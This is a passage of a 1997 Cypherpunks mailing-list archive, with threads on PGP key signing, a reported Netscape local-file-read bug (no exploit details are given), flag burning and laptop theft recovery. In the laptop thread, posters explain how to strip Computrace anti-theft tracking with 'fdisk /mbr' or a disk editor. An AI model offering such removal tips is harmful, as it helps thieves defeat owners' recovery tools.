Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007868afc5c5dd69c9@[207.94.249.152]>
Message-ID: <v0300786dafc68637a08c@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:47 PM -0700 6/12/97, Tim May wrote:
>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>IMHO - What you are really signing is the binding between the data
>>associated with the key (usually an email address) and the key.  You are
>>saying that the secret key holder is (one of the) person(s) who has access
>>to that account, and not some man in the middle in the middle.  If you ask
>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>either see a forgery or an ID issued by an organization not interested in
>>birth certificates.
>
>My binding was between the key, and "me." Those who wanted to send messages
>to "me" could assume that only "I" could read it. The address
>"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
>"tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

My answer was a pure SPKI answer.  As a first approximation, in SPKI your
identity is your key.  Meatspace doesn't enter into it at all.  This avoids
the naming problem of meatspace (i.e. Which John Smith).

Much of the problem with PGP key signing is there is no complete agreement
on what it means.  I chose to have it mean that there verification of the
binding between the data associated with the key and the key.

If you have a version of the key with no signatures, then you can change
the data field and re-sign with the associated secret key.  Since the data
field has changed, you properly need to have others re-verify the validity
of the binding.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 13 Jun 1997 14:12:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
Message-ID: <3.0.32.19970612222139.0075f0f0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Z. Nuri wrote:

>[yadda, yadda, yadda]

(yawn)
then Truth Monger wrote:

>Of course, Bell did ADD a significant wrinkle, and deserves credit 
>for his contributions.  May and Bell.  Names that will be 
>remembered.  
.........................................................................


L.D.:    Still whining after all these years.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 13 Jun 1997 13:26:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
Message-ID: <3.0.32.19970612222349.00759018@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Z. Nuri wrote:

>[yadda, yadda, yadda]

(yawn)
then Truth Monger wrote:

>Of course, Bell did ADD a significant wrinkle, and deserves credit 
>for his contributions.  May and Bell.  Names that will be 
>remembered.  
.........................................................................


L.D.:    Still whining after all these years.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 13 Jun 1997 23:37:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <3.0.1.32.19970612222531.0075a304@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:33 PM 6/12/97 -0700, Tim May wrote:
>But how could such a massive, massive flaw have gone undiscovered for so
long?
 
"Our chief weapon is surprise."

>Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
>clogged by people dumping Navigator and trying to download Explorer.

Actually, it's all a Scandinavian Plot - the Danish hackers are
doing it on behalf of the Opera Browser folks from Norway,
whose graphical browser has the advantage of being only 1/10 as big as
Netscape or Internet Exploder.  Their primary objective is to
draw people away from Lynx...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 11:41:12 +0800
To: cypherpunks@Algebra.COM
Subject: Netscape Bug :)))
Message-ID: <199706130333.WAA05305@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Just over the wire:

Seems that there is a bug in Netscape including the new Communicator that
will allow a web site to read *ANY* file on your computer. I repeate
*ANY*, yes Virginia, *ANY* file on your computer.

WebEx user and loving it. :)))))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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KJxk7uf93aGrbY6Zi+6+Y8JZeb7ce9usORYP6YWzRx1K/LhkEHn5un0aIRUlbHed
rIxvt1S28bwuiXGrPOWNKTNXfEGb1x/YyBNshooclY1bz1YS1ZRk8t/vBl/aeTZy
oWTpxeG/xjU=
=Asb/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 11:53:55 +0800
To: whgiii@amaranth.com
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <199706130347.WAA08219@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



William H. Geiger III wrote:
> Seems that there is a bug in Netscape including the new Communicator that
> will allow a web site to read *ANY* file on your computer. I repeate
> *ANY*, yes Virginia, *ANY* file on your computer.
> 
> WebEx user and loving it. :)))))

Do you know if the bug affects Unix versions? How about linux?

And what is the exploit?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 12:01:14 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130347.WAA08219@manifold.algebra.com>
Message-ID: <199706130353.WAA05560@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130347.WAA08219@manifold.algebra.com>, on 06/12/97 
   at 10:47 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:

>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>> 
>> WebEx user and loving it. :)))))

>Do you know if the bug affects Unix versions? How about linux?

>And what is the exploit?

They didn't go into details but they did say in the report that it was a
bug in the "core" of the Netscape code so I would imagine that it is cross
platform.

Unfortunatly they did give details on how to use this bug.

This seems to be a bug that has been out for awhile as it is not just the
new Communicator but older versions of NS also.

Perhaps time to generate a new PGP key pair? :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DFQ49Co1n+aLhhAQF8WAQAu5mdShPAlsCQUSQjb2tMtMwQD/o7KFhy
hxZB2mv3dMZmdNzZxpspQslO3V11teL3aeN9lE+5NIHJtV3mO6Zhq8ScOo6nQb6L
1EC47wroVGB3H7FeIf8Ol6xfzu1fZf6KawvIrPu83rbte8RQ50KE+Q09CB8wMS69
U06XJWyktLc=
=QEUX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 13 Jun 1997 14:09:19 +0800
To: "RS" <cypherpunks@toad.com>
Subject: "Bozos Against Flag Burning"
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <v03102800afc6900d09d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:20 PM -0700 6/12/97, RS wrote:
>When it comes down to flag burning, It really bothers me that we allow our
>symbol of freedom to be burned.  It's more than a flag and a right.  It's a
>symbol of the freedom we have.  To allow someone to publicly burn a flag is
>essentially displaying our freedom being burned.
>
>Bush was a veteran, and Clinton was not.  I take it the ones who are
>writing on this subject about how we should have the "freedom" to burn the
>flag have never served in the military or for our country.
>
>Being a veteran myself, I find it very distateful to allow anyone on our
>soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
>for a moment and what it really stands for.  Does it not stand for freedom
>and liberty?
>
>Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
>burn the flag unless you would like to live under another flag!

You ought to get off this list, then, because you'll surely find our
anarchist, anti-government, tax-evading ideas alien to you.

"Against the law" is not just a nicety of phrasing: it means someone who
"insults a symbol" goes to jail. Hardly consistent with a free society is
it?

As for Bush being a veteran and Clinton not being a veteran, what the hell
does this have to do with their political positions? Did you vote for
George McGovern in 1972 because he was a veteran (a bomber pilot, in fact)
while Richard Nixon was a guy who finagled his way out of joining the
military?

Jeeze, the bozos who wash up on our list. Where's Bell when we really need him?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 12:06:22 +0800
To: whgiii@amaranth.com
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130353.WAA05560@mailhub.amaranth.com>
Message-ID: <199706130357.WAA08338@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



William H. Geiger III wrote:
>    at 10:47 PM, ichudov@Algebra.COM (Ignoramus Chewed-Off) said:
> >William H. Geiger III wrote:
> >> Seems that there is a bug in Netscape including the new Communicator that
> >Do you know if the bug affects Unix versions? How about linux?
> >And what is the exploit?
> 
> They didn't go into details but they did say in the report that it was a
> bug in the "core" of the Netscape code so I would imagine that it is cross
> platform.
> 
> Unfortunatly they did give details on how to use this bug.
> 
> This seems to be a bug that has been out for awhile as it is not just the
> new Communicator but older versions of NS also.
> 
> Perhaps time to generate a new PGP key pair? :(

You mean, your passphrase is empty?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 13 Jun 1997 08:11:01 +0800
To: cypherpunks@toad.com
Subject: Re: Feds have lost battle against encryption
In-Reply-To: <199706121616.JAA08347@servo.qualcomm.com>
Message-ID: <19970612231926.4258.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Phil Karn <karn@qualcomm.com> writes:

> Somebody really needs to say the words "distributed computing" to
> Congress. Perhaps that will be the major benefit of the DES Challenge
> project when (not if) it succeeds.

I don't think the issue with china is key cracking.  The Chinese
supposedly used the supercomputers for weapons design and simulation,
which require significanly finer grained parallelism (and hence
lower-latency communication) than key cracking.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 13 Jun 1997 14:35:04 +0800
To: "RS" <cypherpunks@toad.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <v03007870afc6975ea950@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:20 PM -0700 6/12/97, RS wrote:
>When it comes down to flag burning, It really bothers me that we allow our
>symbol of freedom to be burned.  It's more than a flag and a right.  It's a
>symbol of the freedom we have.  To allow someone to publicly burn a flag is
>essentially displaying our freedom being burned.

When I was in Boy Scouts, they taught us that the only proper way to
dispose of a flag which was worn beyond use was to burn it.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 13:01:25 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130357.WAA08338@manifold.algebra.com>
Message-ID: <199706130454.XAA06447@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130357.WAA08338@manifold.algebra.com>, on 06/12/97 
   at 10:57 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:

>William H. Geiger III wrote:
>>    at 10:47 PM, ichudov@Algebra.COM (Ignoramus Chewed-Off) said:
>> >William H. Geiger III wrote:
>> >> Seems that there is a bug in Netscape including the new Communicator that
>> >Do you know if the bug affects Unix versions? How about linux?
>> >And what is the exploit?
>> 
>> They didn't go into details but they did say in the report that it was a
>> bug in the "core" of the Netscape code so I would imagine that it is cross
>> platform.
>> 
>> Unfortunatly they did give details on how to use this bug.
>> 
>> This seems to be a bug that has been out for awhile as it is not just the
>> new Communicator but older versions of NS also.
>> 
>> Perhaps time to generate a new PGP key pair? :(

>You mean, your passphrase is empty?

No I feel quite secure in my choice of passphrases. I don't use NS so I am
not concerned about it. If for some reason I thought that a 3rd party had
aquired my secring.pgp file I would generate a new key (I'm paranoid but
that doesn't mean that "they" aren't out to get me <g>).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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RLAGWG/B3Sr4Xw8V8gfMw5rxh12gX6In1Xwj0XmlD0VVA7wkSS8Ai//zVoCTzIQU
MEeJQ/wLsJlxjNYwU32J+li4DIUCGqWvf+2vUHhasF8ANLK+f9Rh9/+76Wqkawmp
I0195q/QZAk=
=aeNE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 13 Jun 1997 12:19:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970613001349.006f4334@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:47 PM 6/12/97 -0500, Igor Chudov wrote:
>
>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>> 
>> WebEx user and loving it. :)))))
>
>Do you know if the bug affects Unix versions? How about linux?
>
>And what is the exploit?


------------------------------------------------
Danish software firm finds flaw that could let sites see data stored on PCs 

                          From Correspondent Steve Young
                          June 12, 1997: 6:58 p.m. ET

                 NEW YORK (CNNfn) - A serious new flaw
                 that affects all versions of Netscape
                 Communications Corp.'s popular Navigator
                 Internet browser software -- including the final
                 test version of its Communicator Suite released
                 Wednesday -- has been uncovered by a Danish
                 software firm, CNNfn has learned. 

                 The bug was reported by Cabocomm, a
                 software company located about 100 miles west
                 of Copenhagen, Denmark. The bug makes it
                 possible for Web-site operators to read anything
                 stored on the hard drive of a PC logged on to
                 the Web site.

                 After the firm reported the bug to CNN
                 Financial News, CNNfn and PC Magazine
                 tested the bug by creating and storing a
                 document on a PC's hard drive in New York.
                 Seconds later, the Danish company read it. 

                 As further proof, CNNfn and PC Magazine
                 created another document which the Danish
                 company was also able to read.

                 Larry Seltzer, technical director of PC Labs,
                 was among those who helped verify the bug
                 report. He said it would take a somewhat savvy
                 computer user to exploit the bug.

                 "They have to be seeking information from your
                 system and they also have to know the file
                 name. It's not that hard for somebody who's
                 looking to make trouble, but they do have to be
                 looking for it," Seltzer said.

                 "It's serious in that it's in the [actual] browser
                 ...whereas previous bugs generally required the
                 user to have downloaded an additional product,"
                 Jim Wise, UNIX administrator for CNNfn, said.

                 CNNfn's test showed that Internet security
                 firewalls offer no protection from the bug.

                 Mike Homer, vice president of marketing for
                 Netscape, said the company takes this and all
                 bug reports seriously. 

                 The Danish company says the reward of $1,000
                 and a T-shirt is "insultingly low" considering the
                 extent to which the bug report is likely to worry
                 Netscape users.

                 Cabocomm said it would accept "reasonable
                 compensation" for the technical information -- or
                 they can send a Netscape representative to
                 Cabocomm and get it for free.

                 CNNfn, PC Magazine and the Danish company
                 will not release technical details on the bug until
                 Netscape has prepared a bug fix.

                 The reason CNNfn is not reporting the specifics
                 of the bug is to avoid anyone exploiting it.

                 Until the bug is fixed, confidential letters,
                 business spreadsheets -- everything on your PC
                 -- can potentially be pilfered.

                 The Danish company says it won't exploit the
                 bug, but has no idea if someone else has found
                 the same bug and is compromising a system's
                 integrity. 


                                                          













                                                          















*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 14:39:42 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v0300786dafc68637a08c@[207.94.249.152]>
Message-ID: <199706130540.AAA06908@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0300786dafc68637a08c@[207.94.249.152]>, on 06/12/97 
   at 10:14 PM, Bill Frantz <frantz@netcom.com> said:

>At 6:47 PM -0700 6/12/97, Tim May wrote:
>>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>>IMHO - What you are really signing is the binding between the data
>>>associated with the key (usually an email address) and the key.  You are
>>>saying that the secret key holder is (one of the) person(s) who has access
>>>to that account, and not some man in the middle in the middle.  If you ask
>>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>>either see a forgery or an ID issued by an organization not interested in
>>>birth certificates.
>>
>>My binding was between the key, and "me." Those who wanted to send messages
>>to "me" could assume that only "I" could read it. The address
>>"tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
>>"tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

>My answer was a pure SPKI answer.  As a first approximation, in SPKI your
>identity is your key.  Meatspace doesn't enter into it at all.  This
>avoids the naming problem of meatspace (i.e. Which John Smith).

>Much of the problem with PGP key signing is there is no complete
>agreement on what it means.  I chose to have it mean that there
>verification of the binding between the data associated with the key and
>the key.

>If you have a version of the key with no signatures, then you can change
>the data field and re-sign with the associated secret key.  Since the
>data field has changed, you properly need to have others re-verify the
>validity of the binding.

I don't think that any changes that he would make to his key would need
re-verification provided that he signed those changes. Take the following
scenario:

John Doe creates a key and signs it:

pub 2048/FFFFFFFF 01/01/90 John Doe
sig                        John Doe (0xFFFFFFFF)

Now 3 other people verify that the key does belong to John Doe and sign
the key:

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC) 

Now John adds an aka to his key and signs it.

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC) 
aka                        John Doe john.doe@who-is-it.com
sig                        John Doe   (0xFFFFFFFF)

Since John Doe is the only one who could sign the key with the new aka one
can assume that the aka is as valid as the original userid.

 
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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k/rXTVnwK/E=
=wXYL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 13 Jun 1997 14:10:34 +0800
To: "RS" <panther@writeme.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706130547.AAA06962@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130521.BAA13934@ren.globecomm.net>, on 06/13/97 
   at 01:20 AM, "RS" <panther@writeme.com> said:


>When it comes down to flag burning, It really bothers me that we allow
>our symbol of freedom to be burned.  It's more than a flag and a right. 
>It's a symbol of the freedom we have.  To allow someone to publicly burn
>a flag is essentially displaying our freedom being burned.

>Bush was a veteran, and Clinton was not.  I take it the ones who are
>writing on this subject about how we should have the "freedom" to burn
>the flag have never served in the military or for our country.  

>Being a veteran myself, I find it very distateful to allow anyone on our
>soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
>for a moment and what it really stands for.  Does it not stand for
>freedom and liberty?

>Sorry, I just had to let this out.  I stand behind Bush on this one. 
>Don't burn the flag unless you would like to live under another flag!

The flag is a symbol (aka a form of speech). If you dissagre with that
speech the you have every right to counter it with more speech (aka burn
the flag).

The consequences of dissalowing this or any form of political protest
outways any statisfaction blindly wrapping ones self in the flag may
provide.

- -- Veteran of more than one shit-hole we had no business being in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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BnET2/VPnjbWxZzAoDJAittm9Nn5lrStQil1jl/vLMoqR+o2+XEuiwY6hm3Ojm4V
8pZLTrLPczMUKTyDvAJ3H8CcpEFeVnTVWCuGsXWvAOQEEFjZh4JlDRkxGmVxV+P1
EMSHX1iAXW0=
=m0RZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 13 Jun 1997 16:14:25 +0800
To: nexus@eskimo.com (Brian Lane)
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
Message-ID: <3.0.2.32.19970613005545.03c17688@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:39 AM 6/13/97 GMT, Brian Lane wrote:
>  I agree. That's why I like my solution to finding my stolen car
>better. A cellphone, GPS, and a little bit of glue electronics.

If the cellphone is turned on, it can be tracked. If it isn't, you can't
call it.

Nice try,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 01:34:31 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Access to Storage and Communication Keys et al
In-Reply-To: <19970610134844.39484@bywater.songbird.com>
Message-ID: <199706121717.BAA27877@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




etc etc etc . . .

>For all the secrets I currently know< etc etc etc . . .

I was taught in anarchist primary school that:

"Secrecy is a tool of the State".

Two daughters of a silk merchant live it Kyoto,
The elder is twenty, the younger, eighteen.
A soldier may kill with his sword,
But these girls slay men with their eyes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 01:33:15 +0800
To: cypherpunks@toad.com
Subject: Secrecy?
Message-ID: <199706121722.BAA27903@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Hmmmm . . .

After following this list for a while I offer the following 
observation:

"Would it be better to DEMAND the full disclosure of the governments 
secrets rather than scramble around trying to keep ours."

I am prepared to allow governments full access to my 
communications when they allow me full access to theirs.

But then again, why be governed in the first place?

Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "RS" <panther@writeme.com>
Date: Fri, 13 Jun 1997 13:35:13 +0800
To: "CypherPunks" <cypherpunks@toad.com>
Subject: Flag Burning...
Message-ID: <199706130521.BAA13934@ren.globecomm.net>
MIME-Version: 1.0
Content-Type: text/plain



When it comes down to flag burning, It really bothers me that we allow our
symbol of freedom to be burned.  It's more than a flag and a right.  It's a
symbol of the freedom we have.  To allow someone to publicly burn a flag is
essentially displaying our freedom being burned.

Bush was a veteran, and Clinton was not.  I take it the ones who are
writing on this subject about how we should have the "freedom" to burn the
flag have never served in the military or for our country.  

Being a veteran myself, I find it very distateful to allow anyone on our
soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
for a moment and what it really stands for.  Does it not stand for freedom
and liberty?

Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
burn the flag unless you would like to live under another flag!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Fri, 13 Jun 1997 09:48:11 +0800
To: "David E. Smith" <dave@bureau42.ml.org>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.LNX.3.96.970612074651.9609A-100000@bureau42.ml.org>
Message-ID: <33a5a391.41617983@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997 07:50:49 -0500 (CDT), you wrote:

>On Wed, 11 Jun 1997, Raymond Mereniuk wrote:
>
>> This has been discussed on this list before, about 1 year ago.  The 
>> Computrace software is installed on a place on the hard drive where 
>> DOS utilities like Fdisk and Format can not get at it.  This is the 
>> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>> remove this version of Diskmanager.
>
>There you go, assuming DOS is the centre of the universe again.
>I haven't seen this, but there's a pretty good chance that reformatting
>the hard disk as a Linux partition and installing LILO would clean
>that nuisance right up.  (If it didn't, you could probably just
>use your favorite disk editor to find the Computrace code and zero
>it out.)
>
>OC this is all above the means of the average laptop thief, but the
>dedicated ones probably have a staff techie.

  I think that a simple fdisk /mbr should take care of the problem.
The drive is booted from the master boot record. There is no way
around this without a bios change. LILO overwrites the MBR with the
LILO program to boot Linux (and other OSes on the system) so it too
would defeat their software.

  Doesn't sound like too much of a solution when you're dealing with
even a slightly knowledgable thief.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Fri, 13 Jun 1997 09:48:06 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <Pine.SUN.3.96.970612114018.14283B-100000@beast.brainlink.com>
Message-ID: <33a6a477.41847662@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997 11:57:57 -0400 (EDT), you wrote:

>(And yes I have that same sentiment about the LoJack car transponder, and
>the EZ-Pass toll paying system, and cell phones.  Each of these
>technologies can report on your whereabouts and thus pinpoint your
>location at any given time.  They're all invasion of privacy things that

  I agree. That's why I like my solution to finding my stolen car
better. A cellphone, GPS, and a little bit of glue electronics. If my
car is stolen, I call the cellphonein the trunk (or inside body panel,
etc.) enter my secret code and it reads out the current locaiton from
the GPS until I hang up on it.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
